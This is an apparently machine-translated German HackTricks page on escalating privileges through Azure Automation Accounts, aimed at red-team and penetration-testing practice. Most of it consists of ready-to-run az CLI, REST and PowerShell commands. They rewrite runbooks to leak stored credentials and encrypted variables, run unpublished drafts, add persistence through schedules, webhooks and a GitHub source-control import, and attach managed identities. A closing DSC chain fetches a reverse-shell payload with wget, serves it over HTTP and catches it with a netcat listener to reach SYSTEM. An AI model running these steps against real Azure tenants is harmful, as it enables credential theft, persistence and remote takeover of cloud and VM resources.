Az - Azure Automation Accounts Privesc
Reading time: 11 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Azure Automation Accounts
Für weitere Informationen siehe:
Hybrid Workers Group
- Vom Automatisierungskonto zur VM
Denke daran, dass ein Angreifer, wenn er irgendwie ein beliebiges Runbook (beliebiger Code) in einem hybriden Worker ausführen kann, zum Standort der VM pivotieren wird. Dies könnte eine lokale Maschine, ein VPC einer anderen Cloud oder sogar eine Azure-VM sein.
Darüber hinaus, wenn der hybride Worker in Azure mit anderen angehängten verwalteten Identitäten läuft, wird das Runbook in der Lage sein, auf die verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM über den Metadatenservice zuzugreifen.
tip
Denke daran, dass der Metadatenservice eine andere URL hat (http://169.254.169.254
) als der Dienst, von dem das Token der verwalteten Identitäten des Automatisierungskontos abgerufen wird (IDENTITY_ENDPOINT
).
- Von der VM zum Automatisierungskonto
Darüber hinaus, wenn jemand eine VM kompromittiert, auf der ein Skript des Automatisierungskontos läuft, wird er in der Lage sein, die Metadaten des Automatisierungskontos zu lokalisieren und von der VM aus darauf zuzugreifen, um Tokens für die verwalteten Identitäten zu erhalten, die dem Automatisierungskonto zugeordnet sind.
Wie im folgenden Bild zu sehen ist, ist es mit Administratorzugriff auf die VM möglich, in den Umgebungsvariablen des Prozesses die URL und das Geheimnis zum Zugriff auf den Metadatenservice des Automatisierungskontos zu finden:
Microsoft.Automation/automationAccounts/jobs/write
, Microsoft.Automation/automationAccounts/runbooks/draft/write
, Microsoft.Automation/automationAccounts/jobs/output/read
, Microsoft.Automation/automationAccounts/runbooks/publish/action
(Microsoft.Resources/subscriptions/resourcegroups/read
, Microsoft.Automation/automationAccounts/runbooks/write
)
Zusammenfassend ermöglichen diese Berechtigungen das Erstellen, Ändern und Ausführen von Runbooks im Automatisierungskonto, die du verwenden könntest, um Code im Kontext des Automatisierungskontos auszuführen und Privilegien auf die zugewiesenen verwalteten Identitäten zu eskalieren sowie Anmeldeinformationen und verschlüsselte Variablen zu leaken, die im Automatisierungskonto gespeichert sind.
Die Berechtigung Microsoft.Automation/automationAccounts/runbooks/draft/write
ermöglicht es, den Code eines Runbooks im Automatisierungskonto zu ändern mit:
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
Beachten Sie, wie das vorherige Skript verwendet werden kann, um den Benutzernamen und das Passwort einer Anmeldeinformation sowie den Wert einer verschlüsselten Variablen zu leaken, die im Automation Account gespeichert ist.
Die Berechtigung Microsoft.Automation/automationAccounts/runbooks/publish/action
ermöglicht es dem Benutzer, ein Runbook im Automation Account zu veröffentlichen, sodass die Änderungen angewendet werden.
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
Die Berechtigung Microsoft.Automation/automationAccounts/jobs/write
ermöglicht es dem Benutzer, ein Runbook im Automatisierungskonto auszuführen mit:
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
Die Berechtigung Microsoft.Automation/automationAccounts/jobs/output/read
ermöglicht es dem Benutzer, die Ausgabe eines Jobs im Automatisierungskonto zu lesen mit:
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
Wenn keine Runbooks erstellt wurden oder Sie ein neues erstellen möchten, benötigen Sie die Berechtigungen Microsoft.Resources/subscriptions/resourcegroups/read
und Microsoft.Automation/automationAccounts/runbooks/write
, um dies zu tun mit:
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
Microsoft.Automation/automationAccounts/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Diese Berechtigung ermöglicht es dem Benutzer, eine benutzerverwaltete Identität dem Automatisierungskonto zuzuweisen mit:
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
Microsoft.Automation/automationAccounts/schedules/write
, Microsoft.Automation/automationAccounts/jobSchedules/write
Mit der Berechtigung Microsoft.Automation/automationAccounts/schedules/write
ist es möglich, einen neuen Zeitplan im Automatisierungskonto zu erstellen, der alle 15 Minuten ausgeführt wird (nicht sehr stealth), indem der folgende Befehl verwendet wird.
Beachten Sie, dass das minimale Intervall für einen Zeitplan 15 Minuten beträgt und die minimale Startzeit 5 Minuten in der Zukunft liegt.
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
Dann ist es mit der Berechtigung Microsoft.Automation/automationAccounts/jobSchedules/write
möglich, einen Scheduler einem Runbook zuzuweisen, indem man:
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
tip
Im vorherigen Beispiel wurde die Jobplan-ID als b510808a-8fdc-4509-a115-12cfc3a2ad0d
als Beispiel belassen, aber Sie müssen einen beliebigen Wert verwenden, um diese Zuweisung zu erstellen.
Microsoft.Automation/automationAccounts/webhooks/write
Mit der Berechtigung Microsoft.Automation/automationAccounts/webhooks/write
ist es möglich, einen neuen Webhook für ein Runbook innerhalb eines Automation-Kontos mit dem folgenden Befehl zu erstellen.
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
Dieser Befehl sollte eine Webhook-URI zurückgeben, die nur bei der Erstellung angezeigt wird. Um dann das Runbook mit der Webhook-URI aufzurufen
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
Microsoft.Automation/automationAccounts/runbooks/draft/write
Nur mit der Berechtigung Microsoft.Automation/automationAccounts/runbooks/draft/write
ist es möglich, den Code eines Runbooks zu aktualisieren, ohne es zu veröffentlichen, und es mit den folgenden Befehlen auszuführen.
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
Microsoft.Automation/automationAccounts/sourceControls/write
, (Microsoft.Automation/automationAccounts/sourceControls/read
)
Diese Berechtigung ermöglicht es dem Benutzer, eine Quellsteuerung für das Automatisierungskonto zu konfigurieren, indem er Befehle wie die folgenden verwendet (dies verwendet Github als Beispiel):
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
Dies wird automatisch die Runbooks aus dem Github-Repository in das Automation-Konto importieren, und mit einigen anderen Berechtigungen, um sie auszuführen, wäre es möglich, Privilegien zu eskalieren.
Außerdem denken Sie daran, dass für die Quellkontrolle in Automation-Konten eine verwaltete Identität mit der Rolle Contributor
erforderlich ist, und wenn es sich um eine benutzerverwaltete Identität handelt, muss die Client-ID der MI in der Variablen AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID
angegeben werden.
tip
Beachten Sie, dass es nicht möglich ist, die Repo-URL einer Quellkontrolle zu ändern, sobald sie erstellt wurde.
Microsoft.Automation/automationAccounts/variables/write
Mit der Berechtigung Microsoft.Automation/automationAccounts/variables/write
ist es möglich, Variablen im Automation-Konto mit dem folgenden Befehl zu schreiben.
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
Benutzerdefinierte Laufzeitumgebungen
Wenn ein Automatisierungskonto eine benutzerdefinierte Laufzeitumgebung verwendet, könnte es möglich sein, ein benutzerdefiniertes Paket der Laufzeit mit schädlichem Code (wie einer Hintertür) zu überschreiben. Auf diese Weise wird der schädliche Code jedes Mal ausgeführt, wenn ein Runbook, das diese benutzerdefinierte Laufzeit verwendet, ausgeführt wird und das benutzerdefinierte Paket lädt.
Kompromittierung der Statuskonfiguration
Überprüfen Sie den vollständigen Beitrag unter: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe
- Schritt 1 — Dateien erstellen
Benötigte Dateien: Zwei PowerShell-Skripte sind erforderlich:
reverse_shell_config.ps1
: Eine Desired State Configuration (DSC)-Datei, die die Nutzlast abruft und ausführt. Sie ist von GitHub erhältlich.push_reverse_shell_config.ps1
: Ein Skript, um die Konfiguration auf die VM zu veröffentlichen, verfügbar auf GitHub.
Anpassung: Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfaden und Server-/Nutzlast-Identifikatoren.
- Schritt 2 — Konfigurationsdatei zippen
Die reverse_shell_config.ps1
wird in eine .zip
-Datei komprimiert, um sie für die Übertragung zum Azure Storage Account vorzubereiten.
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
- Schritt 3 — Speicher-Kontext festlegen & hochladen
Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, mit dem Azure-Befehl Set-AzStorageBlobContent hochgeladen.
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
- Schritt 4 — Kali Box vorbereiten
Der Kali-Server lädt die RevPS.ps1 Payload aus einem GitHub-Repository herunter.
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
Das Skript wird bearbeitet, um die Ziel-Windows-VM und den Port für die Reverse-Shell anzugeben.
- Schritt 5 — Konfigurationsdatei veröffentlichen
Die Konfigurationsdatei wird ausgeführt, was dazu führt, dass das Reverse-Shell-Skript an dem angegebenen Ort auf der Windows-VM bereitgestellt wird.
- Schritt 6 — Payload hosten und Listener einrichten
Ein Python SimpleHTTPServer wird gestartet, um die Payload zu hosten, zusammen mit einem Netcat-Listener, um eingehende Verbindungen zu erfassen.
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
Die geplante Aufgabe führt die Nutzlast aus und erreicht SYSTEM-Ebene Berechtigungen.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.